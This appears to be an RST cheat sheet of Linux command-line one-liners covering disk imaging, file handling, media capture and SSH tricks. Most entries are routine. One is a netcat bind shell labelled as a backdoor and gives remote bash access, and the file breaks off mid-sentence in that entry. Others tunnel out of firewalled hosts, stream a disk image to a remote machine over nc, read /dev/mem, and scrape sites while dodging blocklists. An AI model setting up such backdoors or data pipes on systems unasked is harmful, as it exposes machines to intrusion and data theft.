Commandline gems

commandline_gems.rst

CREATE DISK IMAGE USING DD AND PV

# bring img on sd card
sudo pv -tpreb name.img | sudo dd of=/dev/mmcblk0 bs=4M
# create image from sd card
sudo pv -tpreb /dev/mmcblk0 | sudo dd of=name.img bs=4M

CREATE DISK IMAGE AND COMPRESS

sudo dd bs=4M if=/dev/mmcblk0 | gzip > /home/yourusername/yourbackupdircetory/image`date +%d%m%y`.gz
sudo gzip -dc /home/yourusername/yourbackupdircetory/image `yourneededdate`.gz | sudo dd bs=4M of=/dev/mmcblk0

CONVERT MARKDOWN INTO RST

cat file.md | pandoc --from markdown --to rst -o file.rst

WHAT PROCESSES ARE RUNNING

pstree -A | awk '{print "    "$0}'

CLOSE USER ON MACHINE

pkill -KILL -u username

FIND ALL TYPE FILES IN SUBFOLDERS AND COPY INTO NERW LOCATION

find ./ -type f -exec cp '{}' ./ \;

SERCH AND COPY

find /media/cdrom -type f -name "*.jpg" -exec cp {} /home/user/pics/ \;

find /path/to/directory/ -type f \ ( -iname '*.jpg' -o -iname '*jpeg' \) -print0 |xargs -0 tar c | (cd /newpicfolder ; tar x)

HTML IMAGE GALLERY FROM FOLDER CONTENTS

find . -iname '*.jpg' -exec echo '<img src="{}">' \; > gallery.html

TO REMOVE FILES FROM YOUR HOME WERE ACCESSED MORE THAN ONE YEAR AFTER

They were last modified, pausing to confirm before each removal, type:

$ find ~ -used +365 -ok rm '{}' ';' [RET]

REORDER FILE WITH MAX 100 FILE PER FOLDER

find files/ -type f | while read line; do if [ $((i++%100)) -eq 0 ]; then mkdir $((++folder)); fi; cp $line $folder/; done

RENAME .JPG TO .jpg RECURSIVELY

find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \;

REMOVE EXIF DATA FROM IMAGES WITH PROGRESS

i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done

FIND JPEG IMAGES AND COPY THEM TO A CENTRAL LOCATION

 find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=numbered -dp -u --target-directory {location} &

Use if you have pictures all over the place and you want to copy them to a central location
Synopsis:
Find jpg files
translate all file names to lowercase
backup existing, don't overwrite, preserve mode ownership and timestamps
copy to a central location

SSH SCREENSHOT:

DISPLAY=:0.0 import -window root /tmp/shot.png

RECORD DESKTOP WITH FFMPEG

ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg

SLIDESHOW OF IMAGES WITH FEH

F - fullscreen
z - random
D - time display in sec.

feh -Fr -D 5 ~/Images

SEND A CIRCULAR

echo “dear admin, please ban johnlame” | wall

Broadcast Message from root@urfix.com (/dev/pts/2) at 20:32 …

dear admin, please ban johnlame

FIND USB DEVICE

diff <(lsusb) <(sleep 3s && lsusb)

I often use it to find recently added or removed device, or using find in
/dev, or anything similar.

Just run the command, plug the device, and wait to see him and only him

USE FILE(1) TO VIEW DEVICE INFORMATION

file -s /dev/sd* file(1) can print details about certain devices in the
/dev/ directory

(block devices in this example).

This helped me to know at a glance the location and revision of my
bootloader, UUIDs,

filesystem status,

which partitions were primaries / logicals, etc.. without running several
commands.  See also file -s /dev/dm-* file -s /dev/cciss/* etc..

STOP FLASH FROM TRACKING EVERYTHING YOU DO.

for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i
    ) ; done

Brute force way to block all LSO cookies on a Linux system with the
non-free Flash browser plugin. Works just fine for my needs. Enjoy.

SEND A CIRCULAR PART 2

wall <<< “Broadcast This”

SINGLE USE VNC-OVER-SSH CONNECTION

ssh -f -L 5900:localhost:5900 your.ssh.server “x11vnc -safer -localhost
-nopw -once -display :0″; vinagre localhost:5900

COMPARE COPIES OF A FILE WITH MD5

cmp file1 file2

BACK SSH FROM FIREWALLED HOSTS

ssh -R 5497:127.0.0.1:22 -p 62220 user@public.ip

host B (you) redirects a modem port (62220) to his local ssh.

host A is a remote machine (the ones that issues the ssh cmd).

once connected port 5497 is in listening mode on host B.

host B just do a

ssh 127.0.0.1 -p 5497 -l user

and reaches the remote host’ssh. This can be used also for vnc and so on.

RUN A PROGRAM TRANSPARENTLY, BUT PRINT A STACK TRACE IF IT FAILS

gdb -batch -ex “run” -ex “bt” ${my_program} 2>&1 | grep -v ^”No stack.”$

For automated unit tests I wanted my program to run normally, but if it
crashed, to add

a stack trace to the output log. I came up with this command so I wouldn’t
have to mess around with core files.

The one downside is that it does smoosh your program’s stderr and stdout
together.

RENAME FILES ACCORDING TO FILE WITH COLUMS OF CORRESPONDING NAMES

xargs -n 2 mv < file_with_colums_of_names

Maybe simpler, but again, don’t know how it will work with space in
filename.

CREATE A NEW FILE

> file

STDERR IN COLOR

mycommand 2> >(while read line; do echo -e “\e[01;31m$line\e[0m"; done)

RENAME HTML FILES ACCORDING TO THEIR TITLE TAG

perl -wlne'/title>([^<]+)/i&&rename$ARGV,”$1.html”‘ *.html

The above one-liner could be run against all HTML files in a directory. It
renames the HTML files based on

the text contained in their title tag. This helped me in a situation where
I had a directory containing

thousands of HTML documents with meaningless filenames.

MAKE VIM OPEN IN TABS BY DEFAULT (SAVE TO .PROFILE)

alias vim="vim -p"

I always add this to my .profile rc so I can do things like: "vim *.c" and
the files are opened in tabs.

LOOK FOR ENGLISH WORDS IN /DEV/URANDOM

head -100000 /dev/urandom | strings|tr '[A-Z]' '[a-z]'|sort >temp.txt &&
wget -q http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt
-O-|tr '[A-Z]' '[a-z]'|sort >temp2.txt&&comm -12 temp.txt temp2.txt

FIND A COMMANDLINEFU USERS AVERAGE COMMAND RATING

wget -qO- www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\>
'/num-votes/{S+=$2; I++}END{print S/I}'

SET LAPTOP DISPLAY BRIGHTNESS

echo <percentage> > /proc/acpi/video/VGA/LCD/brightness

Run as root. Path may vary depending on laptop model and video card (this
was tested on an Acer laptop with ATI HD3200 video).

cat /proc/acpi/video/VGA/LCD/brightnessto discover the possible values for
your display.

SEND YOUR TERMINFO TO ANOTHER MACHINE

infocmp rxvt-unicode | ssh 10.20.30.40 "mkdir -p .terminfo && cat >/tmp/ti
&& tic /tmp/ti"

I frequently use this trick to send my terminal settings to HPUX and older
RHEL systems.  This is due to the fact that terminfo support for
rxvt-unicode (my preferred terminal app) does not exist on many older Linux
and Unices.

EFFICIENT REMOTE FORENSIC DISK ACQUISITION GPG-CRYPTED FOR MULTIPLE RECIPIENTS

dd if=/dev/sdb | pigz | gpg -r <recipient1> -r <recipient2> -e --homedir
/home/to/.gnupg | nc remote_machine 6969

Acquires a bit-by-bit data image, gzip-compresses it on multiple cores
(pigz) and encrypts the

data for multiple recipients (gpg -e -r). It finally sends it off to
a remote machine.

UP A UNICODE CHARACTER BY NAME

exec 5< <(grep -i "$*" $(locate CharName.pm));while read <&5;do h=${REPLY%%
*};/usr/bin/printf "\u$h\tU+%s\t%s\n"  "$h"  "${REPLY##$h }";done

THE FIRST FIELD OF EACH LINE WHERE THE DELIMITER IS THE FIRST ASCII CHARACTER

cut -f2 -d`echo -e '\x01'` file

EQUIVALENT OF A BOSS BUTTON

cat /dev/urandom | hexdump -C | highlight ca fe 3d 42 e1 b3 ae f8 | perl
-MTime::HiRes -pnE "Time::HiRes::usleep(rand()*1000000)"

Nobody wants the boss to notice when you're slacking off. This will fill
your shell with random data, parts of it highlighted.

Note that 'highlight' is the Perl module App::highlight, not "a universal
sourcecode to formatted text converter." You'll also need Term::ANSIColor.

REMOTE DESKTOP (RDP) FROM COMMAND LINE HAVING A CUSTOM SCREEN SIZE

xfreerdp --plugin rdpsnd -g 1280x720 -a 24 -z -x m -u $username -p
$password 10.20.30.40

This example uses xfreerdp, which builds upon the development of rdesktop.
This example usage will also send you the remote machine's sound.

MEMORY STATS ON NEXENTA/SOLARIS

echo ::memstat | mdb -k

A PDF VERSION OF A MANPAGE

man -t manpage | ps2pdf - filename.pdf

Quick and dirty version. I made a version that checks if a manpage exists
(but it's not a oneliner).  You must have ps2pdf and of course Ghostscript
installed in your box.

---

MONITOR PROGRESS OF A COMMAND

pv access.log | gzip > access.log.gz

Pipe viewer is a terminal-based tool for monitoring the progress of data
through a pipeline. It can be inserted into any normal pipeline between two
processes to give a visual indication of how quickly data is passing
through, how long it has taken, how near to completion it is, and an
estimate of how long it will be until completion. Source:
http://www.catonmat.net/blog/unix-utilities-pipe-viewer/

GRAPHICAL TREE OF SUB-DIRECTORIES

ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/   /'
-e 's/-/|/' Prints a graphical directory tree from your current directory

DELETE ALL FILES IN A FOLDER THAT DON’T MATCH A CERTAIN FILE EXTENSION

rm !(*.foo|*.bar|*.baz) Deletes all files in a folder that are NOT *.foo,
*.bar or *.baz files. Edit the pattern inside the brackets as you like.

EASY AND FAST ACCESS TO OFTEN EXECUTED COMMANDS THAT ARE VERY LONG AND COMPLEX

some_very_long_and_complex_command # label When using reverse-i-search you
have to type some part of the command that you want to retrieve. However,
if the command is very complex it might be difficult to recall the parts
    that will uniquely identify this command. Using the above trick it’s
    possible to label your commands and access them easily by pressing ^R
    and typing the label (should be short and descriptive).

DEFINE A QUICK CALCULATOR FUNCTION

? () { echo "$*" | bc -l; } defines a handy function for quick calculations
from cli.

once defined:

? 10*2+3 ## DISPLAY A COOL CLOCK ON YOUR TERMINAL

watch -t -n1 "date +%T|figlet" This command displays a clock on your
terminal which updates the time every second. Press Ctrl-C to exit.

A couple of variants:

A little bit bigger text:

watch -t -n1 "date +%T|figlet -f big"You can try other figlet fonts, too.

Big sideways characters:

watch -n 1 -t '/usr/games/banner -w 30 $(date +%M:%S)'This requires
a particular version of banner and a 40-line terminal or you can adjust the
width (“30″ here).

INTERCEPT STDOUT/STDERR OF ANOTHER PROCESS

strace -ff -e trace=write -e write=1,2 -p SOME_PID

REMOVE DUPLICATE ENTRIES IN A FILE WITHOUT SORTING.

awk '!x[$0]++' <file>

Using awk, find duplicates in a file without sorting, which reorders the
contents. awk will not reorder them, and still find and remove duplicates
which you can then redirect into another file.

RECORD A SCREENCAST AND CONVERT IT TO AN MPEG

ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg Grab X11
input and create an MPEG at 25 fps with the resolution 800×600

MOUNT A .ISO FILE IN UNIX/LINUX

mount /path/to/file.iso /mnt/cdrom -oloop “-o loop” lets you use a file as
a block device

INSERT THE LAST COMMAND WITHOUT THE LAST ARGUMENT (BASH)

!:- /usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 http://www.google.com/then

!:- http://www.urfix.com/is the same as

/usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 http://www.urfix.com/ ##
CONVERT SECONDS TO HUMAN-READABLE FORMAT

date -d@1234567890 This example, for example, produces the output, “Fri Feb
13 15:26:30 EST 2009″

JOB CONTROL

^Z $bg $disown You’re running a script, command, whatever.. You don’t
expect it to take long, now 5pm has rolled around and you’re ready to go
home… Wait, it’s still running… You forgot to nohup it before running it…
Suspend it, send it to the background, then disown it… The ouput wont go
anywhere, but at least the command will still run…

EDIT A FILE ON A REMOTE HOST USING VIM

vim scp://username@host//path/to/somefile

MONITOR THE QUERIES BEING RUN BY MYSQL

watch -n 1 mysqladmin --user=<user> --password=<password> processlist Watch
is a very useful command for periodically running another command – in this
using mysqladmin to display the processlist. This is useful for monitoring
which queries are causing your server to clog up.

More info here:
http://codeinthehole.com/archives/2-Monitoring-MySQL-processes.html

ESCAPE ANY COMMAND ALIASES

\[command] e.g. if rm is aliased for ‘rm -i’, you can escape the alias by
prepending a backslash:

rm [file] # WILL prompt for confirmation per the alias

\rm [file] # will NOT prompt for confirmation per the default behavior of
the command

SHOW APPS THAT USE INTERNET CONNECTION AT THE MOMENT. (MULTI-LANGUAGE)

ss -p for one line per process:

ss -p | catfor established sockets only:

    ss -p | grep STAfor just process names:

ss -p | cut -f2 -sd\"or

ss -p | grep STA | cut -f2 -d\" ## SEND POP-UP NOTIFICATIONS ON GNOME

notify-send ["<title>"] "<body>"

The title is optional.

Options:

-t: expire time in milliseconds.

-u: urgency (low, normal, critical).

-i: icon path.

On Debian-based systems you may need to install the ‘libnotify-bin’
package.

Useful to advise when a wget download or a simulation ends. Example:

wget URL ; notify-send "Done"

QUICKLY RENAME A FILE

mv filename.{old,new}

REMOVE ALL BUT ONE SPECIFIC FILE

rm -f !(survivior.txt)

GENERATE A RANDOM PASSWORD 30 CHARACTERS LONG

strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n';
echo Find random strings within /dev/urandom. Using grep filter to just
Alphanumeric characters, and then print the first 30 and remove all the
line feeds.

RUN A COMMAND ONLY WHEN LOAD AVERAGE IS BELOW A CERTAIN THRESHOLD

echo "rm -rf /unwanted-but-large/folder" | batch Good for one off jobs that
you want to run at a quiet time. The default threshold is a load average of
0.8 but this can be set using atrun.

BINARY CLOCK

watch -n 1 'echo "obase=2;`date +%s`" | bc' Create a binary clock.

PROCESSOR / MEMORY BANDWIDTHD? IN GB/S

dd if=/dev/zero of=/dev/null bs=1M count=32768 Read 32GB zero’s and throw
them away.

How fast is your system?

BACKUP ALL MYSQL DATABASES TO INDIVIDUAL FILES

for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump
    $I | gzip > "$I.sql.gz"; done

LIKE TOP, BUT FOR FILES

watch -d -n 2 ‘df; ls -FlAt;’

DOWNLOAD AN ENTIRE WEBSITE

wget –random-wait -r -p -e robots=off -U mozilla http://www.example.com

-p parameter tells wget to include all files, including images.

-e robots=off you don’t want wget to obey by the robots.txt file

-U mozilla as your browsers identity.

–random-wait to let wget chose a random number of seconds to wait, avoid
get into black list.

Other Useful wget Parameters:

–limit-rate=20k limits the rate at which it downloads files.

-b continues wget after logging out.

-o $HOME/wget_log.txt logs the output

LIST THE SIZE (IN HUMAN READABLE FORM) OF ALL SUB FOLDERS FROM THE CURRENT LOCATION

du -h –max-depth=1

A VERY SIMPLE AND USEFUL STOPWATCH

time read (ctrl-d to stop)

time read -sn1 (s:silent, n:number of characters. Press any character to
stop)

QUICK ACCESS TO THE ASCII TABLE.

man ascii

SHUTDOWN A WINDOWS MACHINE FROM LINUX

net rpc shutdown -I ipAddressOfWindowsPC -U username%password

This will issue a shutdown command to the Windows machine. username must be
an administrator on the Windows machine. Requires samba-common package
installed. Other relevant commands are:

net rpc shutdown -r : reboot the Windows machine

net rpc abortshutdown : abort shutdown of the Windows machine

Type:

net rpc

to show all relevant commands

JUMP TO A DIRECTORY, EXECUTE A COMMAND AND JUMP BACK TO CURRENT DIR

(cd /tmp && ls)

DISPLAY THE TOP TEN RUNNING PROCESSES – SORTED BY MEMORY USAGE

ps aux | sort -nk +4 | tail

ps returns all running processes which are then sorted by the 4th field in
numerical order and the top 10 are sent to STDOUT.

LIST OF COMMANDS YOU USE MOST OFTEN

history | awk ‘{a[$2]++}END{for(i in a){print a[i] ” ” i}}’ | sort -rn
| head

REBOOT MACHINE WHEN EVERYTHING IS HANGING (RAISING A SKINNY ELEPHANT)

<alt> + <print screen/sys rq> + <R> – <S> – <E> – <I> – <U> – <B>

If the machine is hanging and the only help would be the power button, this
key-combination will help to reboot your machine (more or less) gracefully.

R – gives back control of the keyboard

S – issues a sync

E – sends all processes but init the term singal

I – sends all processes but init the kill signal

U – mounts all filesystem ro to prevent a fsck at reboot

B – reboots the system

Save your file before trying this out, this will reboot your machine
without warning!

http://en.wikipedia.org/wiki/Magic_SysRq_key

MAKE ‘LESS’ BEHAVE LIKE ‘TAIL -F’

less +F somelogfile

Using +F will put less in follow mode. This works similar to ‘tail -f’. To
stop scrolling, use the interrupt. Then you’ll get the normal benefits of
less (scroll, etc.).

Pressing SHIFT-F will resume the ‘tailling’.

SET AUDIBLE ALARM WHEN AN IP ADDRESS COMES ONLINE

ping -i 60 -a IP_address

Waiting for your server to finish rebooting? Issue the command above and
you will hear a beep when it comes online. The -i 60 flag tells ping to
wait for 60 seconds between ping, putting less strain on your system. Vary
it to your need. The -a flag tells ping to include an audible bell in the
output when a package is received (that is, when your server comes online).

BACKTICKS ARE EVIL

echo “The date is: $(date +%D)” This is a simple example of using proper
command nesting using $() over “. There are a number of advantages of $()
over backticks. First, they can be easily nested without escapes:

program1 $(program2 $(program3 $(program4)))versus

program1 `program2 \`program3 \`program4\`\``Second, they’re easier to
read, then trying to decipher the difference between the backtick and the
singlequote: `’. The only drawback $() suffers from is lack of total
portability. If your script must be portable to the archaic Bourne shell,
or old versions of the C-shell or Korn shell, then backticks are
appropriate, otherwise, we should all get into the habit of $(). Your
future script maintainers will thank you for producing cleaner code.

SIMULATE TYPING

echo “You can simulate on-screen typing just like in the movies” | pv -qL
10

This will output the characters at 10 per second.

PYTHON SMTP SERVER

python -m smtpd -n -c DebuggingServer localhost:1025

This command will start a simple SMTP server listening on port 1025 of
localhost. This server simply prints to standard output all email headers
and the email body.

WATCH NETWORK SERVICE ACTIVITY IN REAL-TIME

lsof -i

DIFF TWO UNSORTED FILES WITHOUT CREATING TEMPORARY FILES

diff <(sort file1) <(sort file2)

bash/ksh subshell redirection (as file descriptors) used as input to diff

RIP AUDIO FROM A VIDEO FILE.

mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file>
<input-file>

replace accordingly

MATRIX STYLE

tr -c “[:digit:]” ” ” < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=”1;32″ grep –color “[^ ]“

THIS COMMAND WILL SHOW YOU ALL THE STRING (PLAIN TEXT) VALUES IN RAM

sudo dd if=/dev/mem | cat | strings

A fun thing to do with ram is actually open it up and take a peek.

DISPLAY WHICH DISTRO IS INSTALLED

cat /etc/issue

EASILY SEARCH RUNNING PROCESSES (ALIAS).

alias ‘ps?’='ps ax | grep ‘

CREATE A SCRIPT OF THE LAST EXECUTED COMMAND

echo “!!” > foo.sh

Sometimes commands are long, but useful, so it’s helpful to be able to make
them permanent without having to retype them. An alternative could use the
history command, and a cut/sed line that works on your platform.

history -1 | cut -c 7- > foo.sh

EXTRACT TARBALL FROM INTERNET WITHOUT LOCAL SAVING

wget -qO – “http://www.tarball.com/tarball.gz” | tar zxvf -

CREATE A BACKDOOR ON A MACHINE TO ALLOW REMOTE CONNECTION TO BASH

nc -vv -l -p 1234 -e /bin/bash

This will launch a listener on the machine that will wait for a connection
on port 1234. When you connect from a remote machine with something like :

nc 192.168.0.1 1234

You will have console access to the machine through bash. (becareful with